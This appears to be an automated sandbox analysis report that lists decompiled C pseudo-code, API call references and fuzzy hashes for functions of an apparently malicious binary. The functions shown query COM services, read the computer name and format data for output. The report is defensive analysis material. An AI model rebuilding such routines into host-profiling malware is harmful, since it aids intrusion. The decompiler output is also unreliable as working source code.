Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: b4394f902c56fa79cab9eb4338c43c80c242c55a1952cea0380538d1bab547b6
Instruction ID: bd625bdbe125f6fbc53ee242367263f2432108e891ee13b3310a14e9ce88b7f0
Opcode Fuzzy Hash: b4394f902c56fa79cab9eb4338c43c80c242c55a1952cea0380538d1bab547b6
Instruction Fuzzy Hash: FD212F76900218BBEF11FF65CD40FEEBBB8EF19654F044029F905E6241E735E6118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 04A89208, Relevance: 3.1, APIs: 2, Instructions: 147
serviceCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04A89208(intOrPtr _a4) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				void* _v46;
				short _v48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr* _t53;
				intOrPtr _t56;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr _t76;
				intOrPtr* _t79;
				short _t81;
				char* _t97;
				intOrPtr _t99;
				void* _t105;
				void* _t107;
				intOrPtr _t111;

				_t81 = 0;
				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t49 =  *0x4a8d27c; // 0xa9a5a8
				_t4 = _t49 + 0x4a8e450; // 0x55289f8
				_t5 = _t49 + 0x4a8e440; // 0x9ba05972
				_t51 =  *0x4a8d15c(_t5, 0, 4, _t4,  &_v20); // executed
				_t105 = _t51;
				if(_t105 >= 0) {
					_t53 = _v20;
					_push( &_v12);
					_push(1);
					_push( &_v32);
					_push(8);
					_t97 =  &_v48;
					_push(_t97);
					_push(_t97);
					_push(_t53); // executed
					if( *((intOrPtr*)( *_t53 + 0x3c))() == 0) {
						_t56 =  *0x4a8d27c; // 0xa9a5a8
						_t30 = _t56 + 0x4a8e430; // 0x55289d8
						_t31 = _t56 + 0x4a8e460; // 0x4c96be40
						_t58 =  *0x4a8d0f8(_v12, _t31, _t30,  &_v24); // executed
						_t105 = _t58;
						_t59 = _v12;
						 *((intOrPtr*)( *_t59 + 8))(_t59);
						goto L11;
					} else {
						_t71 = _v20;
						_v16 = 0;
						_t105 =  *((intOrPtr*)( *_t71 + 0x1c))(_t71,  &_v16);
						if(_t105 >= 0) {
							_t111 = _v16;
							if(_t111 == 0) {
								_t105 = 0x80004005;
								goto L11;
							} else {
								if(_t111 <= 0) {
									L11:
									if(_t105 >= 0) {
										goto L12;
									}
								} else {
									do {
										_t73 = _v20;
										_v48 = 3;
										_v40 = _t81;
										_t107 = _t107 - 0x10;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t105 =  *((intOrPtr*)( *_t73 + 0x20))(_t73,  &_v12);
										if(_t105 < 0) {
											goto L7;
										} else {
											_t76 =  *0x4a8d27c; // 0xa9a5a8
											_t23 = _t76 + 0x4a8e430; // 0x55289d8
											_t24 = _t76 + 0x4a8e460; // 0x4c96be40
											_t105 =  *0x4a8d0f8(_v12, _t24, _t23,  &_v24);
											_t79 = _v12;
											 *((intOrPtr*)( *_t79 + 8))(_t79);
											if(_t105 >= 0) {
												L12:
												_t63 = _v24;
												_t105 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63,  &_v28);
												if(_t105 >= 0) {
													_t99 =  *0x4a8d27c; // 0xa9a5a8
													_t67 = _v28;
													_t40 = _t99 + 0x4a8e420; // 0x214e3
													_t105 =  *((intOrPtr*)( *_t67))(_t67, _t40, _a4);
													_t69 = _v28;
													 *((intOrPtr*)( *_t69 + 8))(_t69);
												}
												_t65 = _v24;
												 *((intOrPtr*)( *_t65 + 8))(_t65);
											} else {
												goto L7;
											}
										}
										goto L15;
										L7:
										_t81 = _t81 + 1;
									} while (_t81 < _v16);
									goto L11;
								}
							}
						}
					}
					L15:
					_t61 = _v20;
					 *((intOrPtr*)( *_t61 + 8))(_t61);
				}
				return _t105;
			}

0x04a89213
0x04a89215
0x04a8921c
0x04a8921d
0x04a8921e
0x04a8921f
0x04a89225
0x04a8922a
0x04a89234
0x04a8923b
0x04a89241
0x04a89245
0x04a8924b
0x04a89253
0x04a89254
0x04a89259
0x04a8925a
0x04a8925c
0x04a8925f
0x04a89260
0x04a89261
0x04a89267
0x04a892fc
0x04a89301
0x04a89308
0x04a89312
0x04a89318
0x04a8931a
0x04a89320
0x00000000
0x04a8926d
0x04a8926d
0x04a89274
0x04a8927d
0x04a89281
0x04a89287
0x04a8928a
0x04a892f1
0x00000000
0x04a8928c
0x04a8928c
0x04a89323
0x04a89325
0x00000000
0x00000000
0x04a89292
0x04a89292
0x04a89292
0x04a89299
0x04a8929f
0x04a892a4
0x04a892ac
0x04a892ad
0x04a892ae
0x04a892b0
0x04a892b4
0x04a892b8
0x00000000
0x04a892ba
0x04a892be
0x04a892c3
0x04a892ca
0x04a892da
0x04a892dc
0x04a892e2
0x04a892e7
0x04a89327
0x04a89327
0x04a89334
0x04a89338
0x04a8933d
0x04a89343
0x04a89348
0x04a89352
0x04a89354
0x04a8935a
0x04a8935a
0x04a8935d
0x04a89363
0x00000000
0x00000000
0x00000000
0x04a892e7
0x00000000
0x04a892e9
0x04a892e9
0x04a892ea
0x00000000
0x04a892ef
0x04a8928c
0x04a8928a
0x04a89281
0x04a89366
0x04a89366
0x04a8936c
0x04a8936c
0x04a89375

APIs

IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,055289D8,04A86BB2,?,?,?,?,?,?,?,?,?,?,?,04A86BB2), ref: 04A892D4
IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,055289D8,04A86BB2,?,?,?,?,?,?,?,04A86BB2,00000000,00000000,00000000,006D0063), ref: 04A89312

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryServiceUnknown_
String ID:
API String ID: 2042360610-0
Opcode ID: bc17636f4ab857136d43a1f8629e493707886996f91708ce7b1f1255b45a63ac
Instruction ID: b21318e46b256e9a4d20cd67c4bece06a7919d6357a59cce3c5fbad4f7afcbd1
Opcode Fuzzy Hash: bc17636f4ab857136d43a1f8629e493707886996f91708ce7b1f1255b45a63ac
Instruction Fuzzy Hash: A45119B5900119EFDB00DFE8C888DAEB7B9FF88714B04855DE915EB251E631A905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A8596C, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04A8596C(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04A8137C(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4a8d27c; // 0xa9a5a8
						_t20 = _t68 + 0x4a8e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04A868D2(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x04a85972
0x04a85975
0x04a85985
0x04a8598e
0x04a85992
0x04a85a60
0x04a85a66
0x04a85a66
0x04a859ac
0x04a859b1
0x04a859b5
0x04a859bb
0x04a859c0
0x04a859c7
0x04a859d6
0x04a859d6
0x04a859da
0x04a859dc
0x04a859e8
0x04a859f3
0x04a859fe
0x04a85a02
0x04a85a0c
0x04a85a10
0x04a85a12
0x04a85a17
0x04a85a1e
0x04a85a2e
0x04a85a2e
0x04a85a17
0x04a85a10
0x04a85a30
0x04a85a35
0x04a85a3a
0x04a85a3a
0x04a85a40
0x04a85a46
0x04a85a4b
0x04a85a4b
0x04a85a50
0x04a85a55
0x04a85a55
0x04a85a50
0x04a859da
0x04a85a57
0x04a85a5d
0x00000000

APIs

Part of subcall function 04A8137C: SysAllocString.OLEAUT32(80000002), ref: 04A813D3
Part of subcall function 04A8137C: SysFreeString.OLEAUT32(00000000), ref: 04A81438

SysFreeString.OLEAUT32(?), ref: 04A85A4B
SysFreeString.OLEAUT32(04A8388F), ref: 04A85A55

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: d77c1966952544f93e4fe9bb8ed40ac27c8903f5d2f708f35455420fa03ce72e
Instruction ID: 2caa6f6489eb7df7f94be113e1b1b9b3dc24ff61a94fb36d862afe810c1d0806
Opcode Fuzzy Hash: d77c1966952544f93e4fe9bb8ed40ac27c8903f5d2f708f35455420fa03ce72e
Instruction Fuzzy Hash: 60311772900119FFCB11EFA8C8C8C9BBBB9FBC97547554658FC169B210E231AD51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A86A90, Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E04A86A90(intOrPtr* __eax, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v16;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;
				intOrPtr _t42;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;

				_push( &_v16);
				_t42 =  *0x4a8d27c; // 0xa9a5a8
				_t2 = _t42 + 0x4a8e470; // 0x20400
				_push(0);
				_push(__eax);
				_t51 =  *((intOrPtr*)( *__eax + 0x3c))();
				if(_t51 >= 0) {
					_t22 = _v16;
					_t45 =  *0x4a8d27c; // 0xa9a5a8
					_t6 = _t45 + 0x4a8e490; // 0xe7a1af80
					_t23 =  *((intOrPtr*)( *_t22))(_t22, _t6,  &_v12); // executed
					_t51 = _t23;
					if(_t51 >= 0) {
						_t26 = _v12;
						_t51 =  *((intOrPtr*)( *_t26 + 0x1c))(_t26,  &_v8);
						if(_t51 >= 0) {
							_t48 =  *0x4a8d27c; // 0xa9a5a8
							_t30 = _v8;
							_t12 = _t48 + 0x4a8e480; // 0xa4c6892c
							_t31 =  *((intOrPtr*)( *_t30))(_t30, _t12, _a4); // executed
							_t51 = _t31;
							_t32 = _v8;
							 *((intOrPtr*)( *_t32 + 8))(_t32);
						}
						_t28 = _v12;
						 *((intOrPtr*)( *_t28 + 8))(_t28);
					}
					_t24 = _v16;
					 *((intOrPtr*)( *_t24 + 8))(_t24);
				}
				return _t51;
			}

0x04a86a9c
0x04a86a9d
0x04a86aa3
0x04a86aaa
0x04a86aac
0x04a86ab0
0x04a86ab4
0x04a86ab6
0x04a86abf
0x04a86ac5
0x04a86acd
0x04a86acf
0x04a86ad3
0x04a86ad5
0x04a86ae2
0x04a86ae6
0x04a86aeb
0x04a86af1
0x04a86af6
0x04a86afe
0x04a86b00
0x04a86b02
0x04a86b08
0x04a86b08
0x04a86b0b
0x04a86b11
0x04a86b11
0x04a86b14
0x04a86b1a
0x04a86b1a
0x04a86b21

APIs

IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04A86ACD
IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04A86AFE

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interface_ProxyQueryUnknown_
String ID:
API String ID: 2522245112-0
Opcode ID: 622dccee909e6154834a9c61af41f76beddde34bd9b1fb2e116b2635cf0e85aa
Instruction ID: 8da40b6f8964ff134b58eb80ec24776aeccfa366a48297d20792cb7e1b7da191
Opcode Fuzzy Hash: 622dccee909e6154834a9c61af41f76beddde34bd9b1fb2e116b2635cf0e85aa
Instruction Fuzzy Hash: EB213AB5A00619EFDB00DFA4C888D5AB779FFC9704B148A88F905EB355D631EE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A89F4A, Relevance: 3.0, APIs: 2, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(04A8A2A3), ref: 04A89F64

Part of subcall function 04A8596C: SysFreeString.OLEAUT32(?), ref: 04A85A4B

SysFreeString.OLEAUT32(00000000), ref: 04A89FA4

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: c06fdda13304d4981b39de1b253fd44cd3ea8e5c1e2b2e86c4884a5dc20659c6
Instruction ID: fefc3ebbbf767147a95e6dd81c81fb1dc6b05fd93cfada6d85c2ce96818e063f
Opcode Fuzzy Hash: c06fdda13304d4981b39de1b253fd44cd3ea8e5c1e2b2e86c4884a5dc20659c6
Instruction Fuzzy Hash: DB014F7251010ABFDB11AF68D80499F7BF8EF58354B004025F905E6160E774AD159BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A85A69, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E04A85A69(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04A86B2A(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04A89A1A(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x04a85a6e
0x04a85a79
0x04a85a7b
0x04a85a81
0x04a85a83
0x04a85a88
0x04a85a91
0x04a85a95
0x04a85a9e
0x04a85aa2
0x04a85ab1
0x04a85aa4
0x04a85aa5
0x04a85aaa
0x04a85aaa
0x04a85aa2
0x04a85a95
0x04a85aba

APIs

GetComputerNameExA.KERNEL32(00000003,00000000,04A83DE4,76D7F710,00000000,?,?,04A83DE4), ref: 04A85A81

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

GetComputerNameExA.KERNEL32(00000003,00000000,04A83DE4,04A83DE5,?,?,04A83DE4), ref: 04A85A9E

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: b7ce175f77c1c1f1bd8d2aa24cb14a80533f2908e4b1b6026925315c0679cfdd
Instruction ID: 717b516219c8790222a408d903d5fea092e0dc94bd97757c63c474fda439c251
Opcode Fuzzy Hash: b7ce175f77c1c1f1bd8d2aa24cb14a80533f2908e4b1b6026925315c0679cfdd
Instruction Fuzzy Hash: 04F0B432A01109BAE711E79A8D84EAFB7FCDBC5654F51005DE900D3200FA70EE0297B1

Uniqueness

Uniqueness Score: -1.00%

Function 04A89D6D, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04A89D6D(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x4a8d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x04a89d72
0x04a89d77
0x04a89d85
0x04a89d8b
0x04a89d8f
0x04a89e00
0x04a89d91
0x04a89d95
0x04a89d98
0x04a89d9b
0x04a89da2
0x04a89da3
0x04a89da4
0x04a89da8
0x04a89dab
0x04a89db2
0x04a89db8
0x04a89db9
0x04a89db9
0x04a89dc0
0x04a89dc1
0x04a89dc2
0x04a89dc6
0x04a89dd2
0x04a89dd8
0x04a89dd9
0x04a89dd9
0x04a89ddb
0x04a89de1
0x04a89de3
0x04a89de8
0x04a89de9
0x04a89de9
0x04a89def
0x04a89df8
0x04a89dfa
0x04a89dfd
0x04a89e0c

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04A89D85

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 261b51c00c2bd2a380fa1f5ddd5c674804ad488a4a8b56af3c06eaae89b75f3c
Instruction ID: 89e4ba129d1df4c008460503ef99f44a0d6144273c766ef2d4952a9ce258ae59
Opcode Fuzzy Hash: 261b51c00c2bd2a380fa1f5ddd5c674804ad488a4a8b56af3c06eaae89b75f3c
Instruction Fuzzy Hash: AB1129712453449FEB059F29C891BEA7FA9DF67368F14408EE4408F392C27B950BC760

Uniqueness

Uniqueness Score: -1.00%

Function 04A89FB7, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E04A89FB7(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4a8d27c; // 0xa9a5a8
				_t4 = _t15 + 0x4a8e39c; // 0x5528944
				_t20 = _t4;
				_t6 = _t15 + 0x4a8e124; // 0x650047
				_t17 = E04A8596C(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E04A89B4E(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x04a89fc1
0x04a89fc3
0x04a89fca
0x04a89fcb
0x04a89fcc
0x04a89fcd
0x04a89fd3
0x04a89fd8
0x04a89fd8
0x04a89fe2
0x04a89ff4
0x04a89ffb
0x04a8a02a
0x04a89ffd
0x04a8a002
0x04a8a027
0x04a8a004
0x04a8a007
0x04a8a00e
0x04a8a019
0x04a8a010
0x04a8a013
0x04a8a013
0x04a8a01d
0x04a8a01d
0x04a8a002
0x04a8a031

APIs

Part of subcall function 04A8596C: SysFreeString.OLEAUT32(?), ref: 04A85A4B

Part of subcall function 04A89B4E: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04A883C7,004F0053,00000000,?), ref: 04A89B57
Part of subcall function 04A89B4E: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04A883C7,004F0053,00000000,?), ref: 04A89B81
Part of subcall function 04A89B4E: memset.NTDLL ref: 04A89B95

SysFreeString.OLEAUT32(00000000), ref: 04A8A01D

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 39ee5431d90c2dc5282e4f50b435ed5fdea43cf910e8468d92f03d4c3a0d19ee
Instruction ID: cee04e00fdabcec09d5024679688e1f2f28134a60eb36b9ff26ae7a8d1d1c4b5
Opcode Fuzzy Hash: 39ee5431d90c2dc5282e4f50b435ed5fdea43cf910e8468d92f03d4c3a0d19ee
Instruction Fuzzy Hash: 1E017131500119FFEB21BFA8DC04DAEBBB8FB48714F00441AEA46E7060E371AD55D791

Uniqueness

Uniqueness Score: -1.00%

Function 04A8177F, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E04A8177F(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E04A89D6D(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x4a8d27c; // 0xa9a5a8
						_t9 = _t17 + 0x4a8ea48; // 0x444f4340
						_t20 = E04A896D1( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0x4a8d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x04a81782
0x04a81788
0x04a817df
0x04a8178e
0x04a81799
0x04a8179e
0x04a817a2
0x04a817af
0x04a817b7
0x04a817c3
0x04a817cb
0x04a817d5
0x04a817d5
0x04a817a2
0x04a817e4

APIs

Part of subcall function 04A89D6D: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04A89D85

Part of subcall function 04A896D1: lstrlen.KERNEL32(76D7F710,?,00000000,?,76D7F710), ref: 04A89705
Part of subcall function 04A896D1: StrStrA.SHLWAPI(00000000,?), ref: 04A89712
Part of subcall function 04A896D1: RtlAllocateHeap.NTDLL(00000000,?), ref: 04A89731
Part of subcall function 04A896D1: memcpy.NTDLL(00000000,0000000B,0000000B), ref: 04A89745
Part of subcall function 04A896D1: memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 04A89754
Part of subcall function 04A896D1: memcpy.NTDLL(00000000,0000000B,00000000,00000000,0000000B,00000000,00000000,0000000B,0000000B), ref: 04A8976F

RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,04A82689), ref: 04A817D5

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heapmemcpy$Allocate$Freelstrlen
String ID:
API String ID: 4098479933-0
Opcode ID: 1a9537a7474f9cb7891f22237593dfa195add3185783edb414a6abe6efcd9cd4
Instruction ID: 53765feeb7c68bf48fe64490a6bd9a75d6ea5638848b69a413ac50957c74b168
Opcode Fuzzy Hash: 1a9537a7474f9cb7891f22237593dfa195add3185783edb414a6abe6efcd9cd4
Instruction Fuzzy Hash: 20016DB6200108FFEB21AF54DC40EAABBFDEB54694F10402DF955865A0E731FA46DB50

Uniqueness

Uniqueness Score: -1.00%

Function 04A89A1A, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A89A1A(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4a8d238, 0, _a4); // executed
				return _t2;
			}

0x04a89a26
0x04a89a2c

APIs

RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7c0388f5206b808afdc8ca49d22a0a5130c9a28fda969a00496ee970345a2b84
Instruction ID: f07ec5a0e9fa377db435b3f2d0ab91af907b846ee5f78cb907c8d3f731a74e59
Opcode Fuzzy Hash: 7c0388f5206b808afdc8ca49d22a0a5130c9a28fda969a00496ee970345a2b84
Instruction Fuzzy Hash: F9B01231000100ABEA114B00ED04F05FA31FB70750F204419B280090B083354C22FF14

Uniqueness

Uniqueness Score: -1.00%

